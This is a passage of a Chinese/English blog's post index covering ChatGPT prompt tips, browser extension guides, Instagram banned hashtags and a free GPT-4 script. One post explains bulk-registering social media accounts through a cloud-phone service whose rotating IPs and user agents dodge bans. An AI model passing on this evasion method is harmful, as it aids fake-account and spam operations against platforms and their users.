fingers」这个提示语会让 ChatGPT 输出完整的代码。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT 提示语使用指南(六)","feature":"https://dev-coco.github.io/post-images/ChatGPT-Prompt-Guide.png","link":"https://dev-coco.github.io/post/ChatGPT-Prompt-Guide-6/","stats":{"text":"5 min read","time":252000,"words":1094,"minutes":5},"date":"2024-01-08 20:53:26","dateFormat":"2024-01-08"},{"content":"Easy Clean Chrome Extension’s privacy policy is detailed here. 1. Data Collection and Usage Our Chrome Extension, "Easy Clean" does not collect, store, or process any personal data from its users. It operates with no user accounts, backend services, or data collection mechanisms. 2. No Tracking We do not track users' activities, do not use analytics, and do not employ cookies or similar technologies within the Chrome Extension. 3. Data Sharing As we do not collect any data, there is nothing to share with third parties. 4. Security Our Extension is designed with your privacy in mind, and although it collects no data, we are committed to ensuring the security of our Chrome Extension. ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Easy Clean - Privacy Policy","feature":"https://dev-coco.github.io/post-images/Easy-Clean.jpg","link":"https://dev-coco.github.io/post/Easy-Clean-Privacy-Policy-EN/","stats":{"text":"1 min read","time":43000,"words":117,"minutes":1},"date":"2024-01-07 20:34:43","dateFormat":"2024-01-07"},{"content":"One-click quick cleanup of browser cache, with automatic cache clearance upon closing the browser to ensure the security of your privacy. The extension contains no advertisements or pop-ups that affect user experience. It is clean and open-source. Extension download:Chrome Extension Collection Note:By default, all caches will be cleared. It is recommended to adjust the settings according to your needs before use. Features One-click cache clearance Customizable cleanup items Domain whitelist (exclude specified domains from clearing cookies) Automatic cleanup upon closing the browser Usage Instructions Clicking on the plugin will display the functional interface. Clicking on "Clear" will erase browsing history, cached files, download records, cookies, and more. Click on "Settings" to open the custom settings interface. ## Custom Settings By default, all items are enabled. You can manually disable any items you don't need. In the "Deleted Cookies" section below, you will see the domains of the cookies currently stored in the browser. "Reserved Cookies" includes domains that will be excluded when clearing cookies. After selecting the desired domains, please click the respective button to apply the settings. Automatic Cleanup upon Browser Closure When enabled, the plugin will automatically clear all configured items upon closing the browser. To prevent incomplete cleanups in case of browser crashes or unexpected closures, an additional cleanup will be performed when reopening the browser to ensure thorough clearance. ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Easy Clean User Guide","feature":"https://dev-coco.github.io/post-images/Easy-Clean.jpg","link":"https://dev-coco.github.io/post/Easy-Clean-EN/","stats":{"text":"2 min read","time":88000,"words":237,"minutes":2},"date":"2024-01-02 12:39:51","dateFormat":"2024-01-02"},{"content":"一键快捷清理浏览器缓存,同时在关闭浏览器后自动进行缓存清理,以保护您的隐私安全。 插件内没有任何广告,也没有影响用户体验的弹窗,干净且开源。 插件下载:Chrome 插件合集 注意:默认设置会清理所有缓存。建议在使用前根据需要进行相应设置。 功能 一键清理缓存 自定义清理项目 域名白名单(排除指定域名不清理 Cookies) 关闭浏览器后自动清理 使用方法 点击插件后会显示功能界面。 点击「清理缓存」,会清理浏览器的浏览记录、缓存文件、下载记录、Cookies 等等。 点击「更多设置」打开自定义设置界面。 自定义设置 默认会启用全部的项目,如果不需要可以自行关闭。 在下方的「删除的 Cookies」中,将显示当前存储在浏览器中的 Cookies 的域名;而「保留的 Cookies」则是在清理 Cookies 时将被排除的域名。勾选所需域名后,请点击相应按钮进行设置。 关闭浏览器后自动清理 开启后,在关闭浏览器时会自动按照配置清理所有项目。为了防止浏览器崩溃或意外关闭时未能进行清理,因此在打开浏览器时会再次进行清理,以确清理干净。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Easy Clean 使用方法","feature":"https://dev-coco.github.io/post-images/Easy-Clean.jpg","link":"https://dev-coco.github.io/post/Easy-Clean/","stats":{"text":"2 min read","time":74000,"words":365,"minutes":2},"date":"2024-01-01 23:39:58","dateFormat":"2024-01-01"},{"content":"增强 ChatGPT 回复结果的准确性。 使用英文对话 因为英文是一个广泛使用的语言,因此 ChatGPT 训练的数据大部分都是英文,英文的内容会比较丰富,所以使用英文提问会得到更好的结果。 使用反问句提问 使用「我认为...,你看我理解的对吗?」这样的提示语来询问问题,代替用「xxx 是什么」这样的提示语来问问题。 举个例子「宇宙是什么?」这样一个提示语,其实使用搜索引擎,或者 Wiki 就能找到比 ChatGPT 更准确、详细并且丰富的资料。 「我认为宇宙是包含时间、空间和所有物质的整体,你看我理解的对吗?」使用反问的提示语来询问,可以更好的学习,让 ChatGPT 为我们判断理解的结果是否正确,如果错误还可以帮助指出错误的地方,这些都是搜索引擎和 Wiki 做不到的。 只问一个问题 一条消息只包含一个问题,尽可能多的提供问题的上下文。 因为一次性询问多个问题,如果不能把每个问题都描述得非常详细,那么可能得到的结果就不理想。还有一方面原因,ChatGPT 一次性输出的字数是有限的,无法一次性输出太长的结果,所以一次性询问多个问题的时候,就无法把每个问题都回答得非常详细,可能是精简之后的结果,会缺少一些细节。 按角色解释 有时候 ChatGPT 回复的结果太过于专业,不好理解,可以给 ChatGPT 设置不同的角色进行讲解。 例如 假如我是一个居住在农村的农民,解释给我听 假如我是个小学生,请讲给我听 请你充当祖父用比喻来教会孩子 下面这个是常规的提示语 请你为我解释这段代码的意思 const data = new Array(400000).fill(0); console.log('-----普通for循环-------'); console.time('for'); const result_1 = []; for (let i = 0; i < data.length; i++) { result_1.push(data[i]); } console.timeEnd('for'); console.log('-----执行完毕-------'); 下面这个是使用祖父的角色的提示语 假设你是一个祖父,用比喻来向孩子解释这段代码的意思 const data = new Array(400000).fill(0); console.log('-----普通for循环-------'); console.time('for'); const result_1 = []; for (let i = 0; i < data.length; i++) { result_1.push(data[i]); } console.timeEnd('for'); console.log('-----执行完毕-------'); 很明显可以看出这两个提示语的不同之处,相对来说后面的提示语能够更好的理解。 旁白 有时候 ChatGPT 回复的结果会带有旁白,使用「no narration」避免输出旁白。 下面是没有使用「no narration」的结果,ChatGPT 在回复中会带有自己的话,然后和输出的代码。 使用「no narration」后,ChatGPT 不会增添任何旁白,只会给出要求的代码。 字数限制 在询问问题的时候,ChatGPT 给出的结果可能会太长,或者太短,达不到预期的要求,所以可以在提示语中给出一个字数限制,让结果达到预期的长度。 例如「你为我写一个关于化妆品的文案」在没有限制字数的时候,ChatGPT 回复的结果可能会特别的长。 在提示语中限制字数的长度,例如「你为我写一个关于化妆品的文案,禁止超过 180-200 字。」 强调需求 在 ChatGPT 的提示语中描述了要求,但是 ChatGPT 有时候不会按照我们的要求输出内容。 下面的提示中已经要求了字数限制在 100 字以内,但是 ChatGPT 回复的结果还是超出了预期要求一点点。 在提示语中使用「请严格按照我的要求输出内容。」输出的结果就会严格的按照提示语中的要求输出。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT 提示语使用指南(五)","feature":"https://dev-coco.github.io/post-images/ChatGPT-Prompt-Guide.png","link":"https://dev-coco.github.io/post/ChatGPT-Prompt-Guide-5/","stats":{"text":"4 min read","time":217000,"words":1007,"minutes":4},"date":"2023-12-31 21:05:16","dateFormat":"2023-12-31"},{"content":"让 ChatGPT 按照想要的格式输出内容。 设定输出格式 在提示语中设置想要输出的格式,例如:列表、表格、Markdown、JSON、代码、大纲等等。 下面是以大纲的格式输出的提示语例子。 「请你告诉我 ChatGPT 的五个用途,希望你能够对这些内容进行摘要。要求简明扼要,以包含列表的大纲形式输出。」 这个是使用表格格式输出的提示语例子:「请告诉我关于 ChatGPT 的优缺点和缺点,使用表格的格式输出。」 连贯长文 当内容过长的时候,ChatGPT 往往不会一次性给出完整的内容。 接续上文 最简单的方法就是在文本框内输入「继续」,ChatGPT 就会延续上文的内容继续输出答案。 分段输出 在提示语中限定每段输出的字符长度,然后根据需要再接续输出。 这是一个例子 「为我写一个 10000 字关于纸飞机的演讲稿,每段不超过 500 字。每段完成后,你需要暂停并且问我是否要继续,如果我回答的是“Y”则继续,如果回答是”N“则重写。」 正常情况下 ChatGPT 是无法一次性输出 10000 字的内容,但是在提示语中按照每 500 字拆分开,输入「Y」的时候才会继续输出。 效果如下图: 分隔指令 使用「###」、「"""」、「<>」在提示语中分隔内容。 下面是一个例子 请为我总结以内容的要点 内容:### 这里放入内容... ### 下面的提示语是使用「<>」的例子,在提示语中限定了格式要点 1 和要点 2,但是为了更准确的结果,在要点 1 的右边使用「<summary_points_1>」代表让 ChatGPT 把总结的第一个要点放在指定的这个位置。 请为我总结以内容的要点 使用以下格式 要点1:<summary_points_1> ... 要点2:<summary_points_2> ... 内容:### 各位尊敬的听众,今天我非常荣幸站在这里,与大家分享一个看似简单却令人着迷的主题——纸飞机。在我们童年的记忆中,纸飞机可能只是一个游戏的一部分,但实际上,它所蕴含的奥秘和乐趣远远超出我们的想象。纸飞机不仅是儿时的玩具,更是一种展现创造力、物理学和工程学的精妙艺术。让我们一起深入探讨这个看似简单却充满乐趣的主题。 各位尊敬的听众,今天我非常荣幸站在这里,与大家分享一个看似简单却令人着迷的主题——纸飞机。在我们童年的记忆中,纸飞机可能只是一个游戏的一部分,但实际上,它所蕴含的奥秘和乐趣远远超出我们的想象。纸飞机不仅是儿时的玩具,更是一种展现创造力、物理学和工程学的精妙艺术。让我们一起深入探讨这个看似简单却充满乐趣的主题。 ### ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT 提示语使用指南(四)","feature":"https://dev-coco.github.io/post-images/ChatGPT-Prompt-Guide.png","link":"https://dev-coco.github.io/post/ChatGPT-Prompt-Guide-4/","stats":{"text":"3 min read","time":165000,"words":797,"minutes":3},"date":"2023-12-29 08:05:33","dateFormat":"2023-12-29"},{"content":"Banned Hashtags on Instagram What are Banned Hashtags Using relevant hashtags on Instagram can increase the visibility of your posts, reaching a wider audience. However, not all tags are suitable, and some may decrease the reach of your posts. Incorrect use of tags can even lead to a Shadowban on your Instagram account. Characteristics of Banned Hashtags Post count is not displayed on the hashtags page. Unable to access the hashtags page. The hashtags page displays the post count, and the hashtags page is accessible, but using this hashtags in posts will result in reduced visibility. Reasons for Hashtags Ban Posts under the hashtags contain a significant amount of explicit or suggestive content, violating Instagram's community guidelines. The hashtag is flooded with posts from bots or spam containing a large number of hashtags, often due to maliciously bulk-posting content. Online Detection Tool Tool Link: Instagram Banned Hashtags Detector Enter content containing hashtags, then click "检测内容" to automatically check if the content includes any banned hashtags. ","tags":[{"index":-1,"name":"Instagram","slug":"instagram","used":true,"link":"https://dev-coco.github.io/tag/instagram/"}],"title":"Instagram Banned Hashtags","feature":"https://dev-coco.github.io/post-images/Instagram-Banned-Hashtags-EN.png","link":"https://dev-coco.github.io/post/Instagram-Banned-Hashtags-EN/","stats":{"text":"2 min read","time":63000,"words":172,"minutes":2},"date":"2023-12-28 07:59:13","dateFormat":"2023-12-28"},{"content":"为 ChatGPT 设定角色的一些小技巧。 设置角色的作用 将 ChatGPT 设置为特定角色可以为对话提供一种更加一致和有针对性的结果。这主要通过对 ChatGPT 的回复进行定制,使其更符合特定角色的语境和语气。以下是设置 ChatGPT 角色的一些潜在作用: 专业性 设定角色可以使 ChatGPT 在特定领域或专业上表现更为专业。比如,你可以设置 ChatGPT 为法律专业角色,以便在法律相关的问题上提供更准确和专业的答案。 情感和语气 角色设置还可以影响 ChatGPT 结果的语气和情感表达。你可以让 ChatGPT 使用更为友好、正式、幽默或其他特定的语气,以适应特定场景或用户偏好。 内容过滤 通过设置角色,你可以限制 ChatGPT 生成的内容,使其更符合特定的道德、文化或法律标准。这有助于确保生成的文本不包含不适当或敏感的内容。 情境适应 ChatGPT 角色设置有助于更好地适应特定的对话场景。这可以提高 ChatGPT 在不同上下文中的可用性和效果。 设置角色的方法 使用「装作」、「充当」、「假设」、「扮演」、「担任」、「你是」等等,让 ChatGPT 扮演特定的角色。 下面是一些例子 请 装作 一名软件工程师,给出一个解决复杂编程问题的建议。 如果 你是 一名旅行博主,推荐一下你最喜欢的度假胜地。 请 担任 一名旅游专家,给出一些建议,以便更好地探索新的旅行目的地。 假设 你是一位医学专家,解释一下癌症的基本原理。 请你 充当 一名医生,告诉我怎样预防流感的最佳方法。 我想让你 扮演 一个小说家。您将想出富有创意且引人入胜的故事。 设置角色的效果 在提示语中可以设定一个角色,让 ChatGPT 扮演设定的角色输出相关的内容,这样会让 ChatGPT 生成的结果更加符合预期的结果。 例如「我需要为电影《不能说的秘密》写一份影评」,在不设置角色的情况下输出结果入下图: 然后再来尝试设置角色后的结果,在提示语的开头加上「我想让你扮演专业的影评人为我评价电影。」,这里可以根据不同的需求和不同的场景,让 ChatGPT 扮演一个相关的角色,这里就以影评人的角色作为例子,来看看输出结果。 从两个结果对比来看,设置过角色的提示语输出的结果不管是从影评的内容,还是排版看起来会都会更好一些。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT 提示语使用指南(三)","feature":"https://dev-coco.github.io/post-images/ChatGPT-Prompt-Guide.png","link":"https://dev-coco.github.io/post/ChatGPT-Prompt-Guide-3/","stats":{"text":"3 min read","time":149000,"words":734,"minutes":3},"date":"2023-12-26 00:15:18","dateFormat":"2023-12-26"},{"content":"使用 ChatGPT 在问答场景下使用和优化提示语的一些小技巧。 问答 向 ChatGPT 提出问题,让 ChatGPT 根据问题进行回答。 由于 ChatGPT 只训练了 2022 年 1 月之前的数据,所以如果提出的问题是具有时效性的,例如「2023 年 7 月 18 日纽约的天气怎么样?」这样的问题,ChatGPT 就无法准确的回答问题,甚至有可能会“胡编乱造”一个结果出来。 ChatGPT 可以回答一些已知的问题,例如「地心引力是谁提出的?」。 基础用法 需要清晰、明确、详细的描述问题,如果问题太宽泛,可能回复的结果就不太理想。 举个例子「请告诉我水果的都包含哪些维生素?」。 由于没有说明具体的水果名称,所以给出的就是一个比较宽泛的结果,并不是很理想。所以需要描述的描述问题。 改进后的提示语:「一颗180克的青苹果都包含多少毫克的维生素?」这个问题就问得比较详细,具体的克数,苹果的类型,维生素的单位。返回的结果要比之前理想、精准一些。 避免使用复杂的语言、模棱两可或让人难以理解的语言。 这是一个不好的例子「我想做一碗牛肉面,但是我不想吃牛肉,也不想吃面条,请告诉我这碗面要怎么做?」 这个问题问得就非常让人费劲,所以原本是问关于面条食谱的一个问题,让 ChatGPT 回复成蔬菜粥的食谱。 改进后的的提示语「我不爱吃牛肉,也不想吃面条,请你为我推荐一个食谱。」 简单明了的说明要求和需求,这样才可以让 ChatGPT 更好的理解。 在必要时可以提供一些背景信息,以便 ChatGPT 更好的理解上下文。 例如下面的例子,最开始的时候询问了「ChatGPT 的 Plus 会员是什么?」,下面我再要求总结结果的时候,ChatGPT 就会根据刚才回复的上下文以及问问题的背景来输出结果。 输出内容的质量取决于提问的内容和 ChatGPT 模型的训练程序。提问用的关键词越准确,描述的问题越详细、越能给提供给 ChatGPT 的训练数据越多,得到的答案就会越准确。 要做什么,不要做什么 明确的告诉 ChatGPT 自己想要的是什么内容,不想要的是什么内容,经过这两个条件的筛选结果会更加准确。 举个例子「我的朋友很难过,我需要购买什么礼物安慰他?礼物的结果不要超过100元。」这里就提到了需要让 ChatGPT 做的是推荐一些礼物,不要让 ChatGPT 做的是推荐超过 100 元的礼物,这样就将结果进一步的筛选,只能推荐 100 元以下可以购买到的礼物去安慰朋友。 如果在提示语中不知道「不要做」的是什么,可以先把「要做」的内容表达清楚,让 ChatGPT 先给出一个宽泛的结果,然后再根据结果找出不需要的内容,然后再进一步优化提示语。 提供示例 有时候可能很难用语言去表达一些东西,那么就可以尝试使用举例说明,给 ChatGPT 一个例子来学习。 例如「请你推荐给我几首中文歌,告诉我是什么风格。」 但实际上我想要的结果只需要告诉我风格就行了,但是并不需要介绍那么多的内容 ,也不需要歌曲作者的名字,那么就可以根据我的需要写一个例子然后再尝试问 ChatGPT。 修改后的提示语如下: 请你推荐给我几首中文歌,告诉我是什么风格。下面是一些例子。 歌曲:演员 风格:流行 歌曲:晴天 风格:流行/民谣 歌曲:岁月神偷 风格:民谣 这样就很明确的告诉 ChatGPT 我需要歌曲的名字,简短的告诉我风格即可。 反复优化 ChatGPT 可能不会一开始就给出一个满意的答案,因此需要反复的进行优化答案。 例如初始问题「请简单列出 3 个人类对太空的探索历史。」 然后根据回答的结果再进行追问或者优化「你能详细介绍一下私营公司关于太空探索的计划吗?」 避免问题模糊不清 不好的例子「你对手机有什么看法?请你告诉我手机的信息」 原始的提示语是比较模糊和开放的,要求提供关于手机的信息,但没有具体说明需要什么样的信息。这可能导致提供的回答缺乏结构或深度,而且可能会达不到预期的效果。 改进后的提示语「请你分别列出智能手机的五大好处和坏处、请分享一下你对智能手机在改变人们生活方式方面的看法。」 改进后的提示语更具体和详细,明确要求列出智能手机的好处和坏处,并分享对智能手机在改变人们生活方式方面的看法。这样的提示语可以引导 ChatGPT 提供更具体、有深度的回答,而不仅仅是一般性的信息。 问重点 不好的提示语「ChatGPT 的发展会怎么样」 这个提示语问的问题比较模糊,没有具体的方向和重点,这样会导致回答的问题很广泛,无法提供深刻的见解。 改进后的提示语「请从ChatGPT的商业模式、技术革新、影响受众等角度分析其发展趋势」 改进后的提示语则更具体和有针对性。提示语中明确了分析的方向,包括商业模式、技术创新和影响受众等方面。这种询问方式更有助于产生更深入、结构化的回答,使 ChatGPT 能够提供更多未来发展的具体信息。 上下文联系 ChatGPT 本身是会联系上下文来进行回答的,所以问的问题最好是接续上文的主题继续询问。 不好的例子 「西瓜有什么营养价值?」 -> 「小狗能吃巧克力吗?」 好的例子 「西瓜有什么营养价值?」 -> 「有哪些吃法?」 通用提问小技巧 一个比较通用的 RTF 提问框架。 R = Role(角色)- 指定 ChatGPT 的角色。 T = Task(任务)- 定义具体任务。 F = Format(格式)- 定义想要输出结果的格式。 下面是一些例子仅供参考。 角色 任务 格式 兽医 研究 PPT 会计 安排 电子表格 网红 装饰 信息图 开发者 组织 新闻简报 记者 锻炼 动画 名人 展示 思维导图 建筑师 预算 摘要 科学家 舞蹈 数据库 经理 教授 富文本 设计师 学习 图表 工程师 写作 网站 教师 编程 报告 教练 阅读 调查 分析师 绘画 电子书 官员 清理 图表 律师 驾驶 表格 医生 购物 视频 作家 画图 图像 护士 烘焙 音频 艺术家 烹饪 表单 法务 计划 代码 飞行员 唱歌 发布 厨师 打电话 列表 CEO 编辑 PDF 下面是一些按照 RTF 框架提问的例子 请你扮演一个厨师,为我计划一个家庭晚餐的烹饪食谱,以表格的格式展示。 你是一个程序员,编写一个井字棋游戏的网页,并用代码展示。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT 提示语使用指南(二)","feature":"https://dev-coco.github.io/post-images/ChatGPT-Prompt-Guide.png","link":"https://dev-coco.github.io/post/ChatGPT-Prompt-Guide-2/","stats":{"text":"7 min read","time":403000,"words":1971,"minutes":7},"date":"2023-12-18 03:20:30","dateFormat":"2023-12-18"},{"content":"关于 ChatGPT 的一些基本介绍。 什么是 ChatGPT ChatGPT 是由 OpenAI 开发的一种语言模型,基于 GPT(Generative Pre-trained Transformer)技术。GPT 是一种使用深度学习的自然语言处理模型,它在大规模文本数据上进行预训练,然后可以用于各种自然语言处理任务,如文本生成、文本分类、问答等。 ChatGPT 专注于处理对话式文本。它被训练成能够理解和生成人类类似的对话,可以用于聊天机器人、语音助手等应用。通过预训练,模型学习了大量的语言知识和语言模式,使其能够更好地理解用户的输入并生成有意义的响应。 ChatGPT 的目标是在多种情境下进行自然而流畅的对话,使其适用于各种应用,从简单的问题回答到更复杂的对话交流。 ChatGPT 是怎么工作的 简单的概括可以分成下面 4 个步骤。 用户输入内容 用户通过 ChatGPT 界面输入任意文本,可以是一个问题,也可以是信息请求等等。 文本分析和生成 ChatGPT 系统会对用户输入的文本进行分析。通过深度学习算法,模型理解输入的语境、含义和结构。然后,它使用这些信息生成一个合理的文本响应。这一步是基于模型之前在大量文本数据上训练的结果。 响应返回给用户 ChatGPT 生成的响应以文本形式返回给用户。这个响应尽可能地符合用户的输入,并且通常是一个自然语言的句子或一系列句子。 持续进行 用户可以继续输入更多的文本,而 ChatGPT 系统会不断地重复步骤 2 和步骤 3。对话会随着用户的输入和系统的响应而持续,直到用户决定结束对话为止。 ChatGPT 和其它聊天机器人的区别 大语言模型 ChatGPT 是一个庞大的语言模型,这使得它能够以类似于人类的方式理解和生成文本。相比之下,传统聊天机器人可能依赖于预先编程的响应或简单的关键字匹配,这可能导致它们的回答结果不够自然或缺少相关性。 学习能力 ChatGPT 具有学习能力,通过机器学习算法分析用户输入,并根据过去的对话不断改进其响应。这使得 ChatGPT 能够提供更加个性化和相关的回答,与传统机器人相比更具适应性。 处理复杂对话的能力 由于 ChatGPT 能够理解和响应上下文,它更擅长处理更复杂或开放式的对话。这意味着它能够更好地应对广泛的主题或需要更深入回答的对话,使得用户体验更加丰富。 ChatGPT 可以做什么 信息检索与总结 ChatGPT 能够理解和生成文本,因此可用于搜索引擎的查询扩展、文档总结和知识抽取。用户可以通过与 ChatGPT 对话的方式更轻松地获取所需信息。 创意写作支持 作为语言模型,ChatGPT 可以协助创作者进行创意写作。它能够生成故事情节、对话片段、诗歌等,为创作者提供灵感和辅助写作过程。 编程辅助 ChatGPT 可以用作编程辅助工具,帮助开发人员解决问题、提供代码片段和回答技术性的问题。这对于学习编程或解决编程难题时可能会有帮助。 教育辅助 ChatGPT 可用于在各种教育环境中提供信息或回答问题。例如提供学生答疑解惑、辅导学科知识、生成练习题等服务。 ​​情感支持 ChatGPT 可以用于提供情感支持,与用户进行心理健康对话,回答问题,提供信息,或者简单地作为一个陪伴者。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT 提示语使用指南(一)","feature":"https://dev-coco.github.io/post-images/ChatGPT-Prompt-Guide.png","link":"https://dev-coco.github.io/post/ChatGPT-Prompt-Guide/","stats":{"text":"4 min read","time":213000,"words":1039,"minutes":4},"date":"2023-12-16 21:16:41","dateFormat":"2023-12-16"},{"content":"YouTube 自动回复视频和社区帖下的评论。 插件下载:Chrome 插件合集 使用方法 设置 第一次使用需要先设置发送的内容,对插件点击右键,选项,进行设置。 表格链接 放入一个谷歌表格,要开启编辑权限,当插件回复评论后会自动将用户名、评论内容和帖子链接登记到表格中。 延迟时间 每次发消息间隔的时间,秒为单位。 屏蔽关键词 设置屏蔽关键词,使用英文逗号作为间隔,当评论中包含屏蔽的关键词就会跳过,不会评论。 回复内容 在内容中使用「@@@」,在发送的时候会替换成对方的用户名。如果需要内容需要换行,使用「\\n」代替。下面是一个例子 需要发送的内容 Hello Raz1ner! How are you today? 设置的内容 Hello @@@!\\nHow are you today? YouTube 工作室后台回复 在 YouTube 工作室的评论界面刷新后会显示出「自动回复」的按钮。点击按钮开始运行。 在运行的过程中会显示评论和点红心的数量。 如果这个帖子是社区帖,会优先选择回复内容中包含链接的内容进行回复。当一个用户回复一次后,就不会再回复了,只会点红心。 社区帖回复 打开社区帖界面,刷新后会显示「自动回复」按钮。点击按钮开始运行。 然后,页面会自动向下滚动加载评论数据。加载完成后,页面将自动复位,并开始自动回复。如果用户已回复或点过红心,将直接跳过,不再回复。 常见问题解答 点击「自动回复」按钮后没有任何反应。 按照以下步骤排查: 检查插件设置是否设置正确。 表格链接格式是否设置正确。 表格链接的尾缀应当是包含 gid 的格式,例如: /edit#gid=xxxx 如果是 /edit?usp=sharing 这种格式的链接是不支持的。 检查表格是否设置「编辑者」的权限。 将 YouTube 账号登出后重新登陆。 自动回复的 emoji 分别代表什么意思 💬 - 回复评论 ❤️ - 点红心 👤 - 拉黑或者重复跳过 为什么有的有评论,有的没有评论? 检查设置里的评论是否包含空行,如果有空行需要删除。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"YouTube 自动回复","feature":"https://dev-coco.github.io/post-images/YouTube-Automatic-Reply.png","link":"https://dev-coco.github.io/post/YouTube-Automatic-Reply/","stats":{"text":"3 min read","time":128000,"words":622,"minutes":3},"date":"2023-12-14 08:32:24","dateFormat":"2023-12-14"},{"content":"快速大量注册社交平台的方法。 使用方法 点击下方对应社交平台的超链接,然后按照步骤注册即可,操作方法和手机上的软件一样。 注册完成后要记得备份好帐号和密码以及相关的资料,避免资料丢失无法找回帐号。 清理 Cookies 后记录就会消失。 Facebook Instagram TikTok WhatsApp YouTube 原理介绍 这是一个提供云服务的平台,它允许用户在网页上使用移动端的 Apps,而不需要下载任何软件。 它的原理是在服务器上运行移动端的软件,然后将软件的视频和音频传输到用户的网页浏览器,这样用户就可以在网页上使用这些软件,就像在手机模拟器使用软件一样的效果。 经过测试,每次清理完缓存后都会更换新的 IP 地址以及 User-Agent,这样就不用担心在同一个 IP 大量注册帐号导致被秒封的情况了。 第一次使用的 IP 地址。 清理缓存后再次使用的 IP 地址。 使用的 User-Agent 几乎都是安卓客户端。 ","tags":[{"index":-1,"name":"Instagram","slug":"instagram","used":true,"link":"https://dev-coco.github.io/tag/instagram/"},{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"快速大量注册社交平台","feature":"https://dev-coco.github.io/post-images/Register-Social-Apps.png","link":"https://dev-coco.github.io/post/Register-Social-Apps/","stats":{"text":"2 min read","time":64000,"words":308,"minutes":2},"date":"2023-12-13 00:05:51","dateFormat":"2023-12-13"},{"content":"免费在线使用 GPT-4,无需 API Key,支持上下文。 工具链接:Free GPT-4 Online 使用方法 在下面的输入框输入消息,点击「发送」按钮发送。输入框的内容可以换行,使用「Shift + Enter」快捷键可以直接发送。 工具栏 工具栏在右上角,下面会从左到右介绍每个工具栏的功能。 重试 点击 按钮后会将最后一条消息重新发送。 Prompt 菜单 点击 按钮后会在底部显示 Prompt 菜单界面,再次点击隐藏。 点击菜单后会预设到下方的输入框。 重新开始 点击 按钮会清空所有对话记录重新开始一个新的对话。 设置 点击 按钮会打开设置界面。 随机性默认是 0.5,用来控制模型生成文本的随机性,较高的随机性生成的结果拥有更有创意的文本,适合写作、写故事等等。较低的随机性生成的结果更保守,适合用于回答某些问题,提供一些事实。 附带历史消息数默认是 5,会从对话列表中获取倒数 5 条消息用来联系上下文。 相关推荐: 免费使用 GPT-4 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"免费在线使用 GPT-4 | Free GPT-4 Online","feature":"https://dev-coco.github.io/post-images/Free-GPT-4-Online.png","link":"https://dev-coco.github.io/post/Free-GPT-4-Online/","stats":{"text":"2 min read","time":67000,"words":321,"minutes":2},"date":"2023-12-06 08:01:18","dateFormat":"2023-12-06"},{"content":"在 Instagram 上被禁止推送的标签。 什么是被禁止的标签 在 Instagram 上使用相关主题的标签可以提高帖文的推送幅度,展示给更多的用户。但并不是所有的标签都适用,有的标签使用后会降低帖子的推送幅度。如果错误的使用标签,有可能会导致 Instagram 账号被 Shadowban。 被禁止的标签特征 在标签页面不会显示帖子总数。 无法正常访问标签页面。 在标签页面会显示帖子总数,也可以正常访问标签页面,但是帖子里包含此标签后,将会被降低推送幅度。 导致标签被禁止的原因 标签内的帖子包含大量色情内容或性暗示内容,这些内容违反了 Instagram 的社群守则。 标签被机器人或大量垃圾信息的帖子覆盖。例如恶意批量发布帖子,帖子内包含大量的标签。 在线检测工具 工具链接:Instagram 屏蔽标签 输入包含标签的内容,然后点击「检测内容」,会自动检测内容中的标签是否包含了被禁止的标签。 ","tags":[{"index":-1,"name":"Instagram","slug":"instagram","used":true,"link":"https://dev-coco.github.io/tag/instagram/"}],"title":"Instagram 被禁止的标签","feature":"https://dev-coco.github.io/post-images/Instagram-Banned-Hashtags.png","link":"https://dev-coco.github.io/post/Instagram-Banned-Hashtags/","stats":{"text":"2 min read","time":62000,"words":309,"minutes":2},"date":"2023-12-02 06:38:28","dateFormat":"2023-12-02"},{"content":"这是一个封装成 Google Apps Script 的接口。 使用方法 添加脚本库 在 Google Apps Script 中添加脚本库。 输入下面的脚本 ID。 1jmPN2-P5nCMa0necWZmbksxEigMdPiwbD4z2rnX_LCNLLmvO16WN96Nc 点击「查询」后,再点击「添加」。 使用参数 使用 GPT.chat 就可以调用这个函数来使用了。第一个参数放入需要询问的文本。 const freeGPT = () => { const result = GPT.chat('你是GPT-4吗?') Logger.log(result) } 下面是返回结果。 第二个参数是温度值,0 到 1 之间,支持小数,必须是数值格式。非必填项,默认值 0.5。 温度值用来控制模型生成文本的随机性,较高的温度值生成的结果拥有更有创意的文本,适合写作、写故事等等。较低的温度值生成的结果更保守,适合用于回答某些问题,提供一些事实。 例子: GPT.chat('你是GPT-4吗?', 0.2) ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"},{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"免费使用 GPT-4","feature":"https://dev-coco.github.io/post-images/freeGPT-4.png","link":"https://dev-coco.github.io/post/freeGPT-4/","stats":{"text":"1 min read","time":51000,"words":230,"minutes":1},"date":"2023-11-30 20:59:28","dateFormat":"2023-11-30"},{"content":"非常全面的 Facebook 平台政策,实时更新,掌握最新动态。 .table {border:0;display:block;margin:0 auto} Facebook 社群守则 Meta 如何改进工作 方案 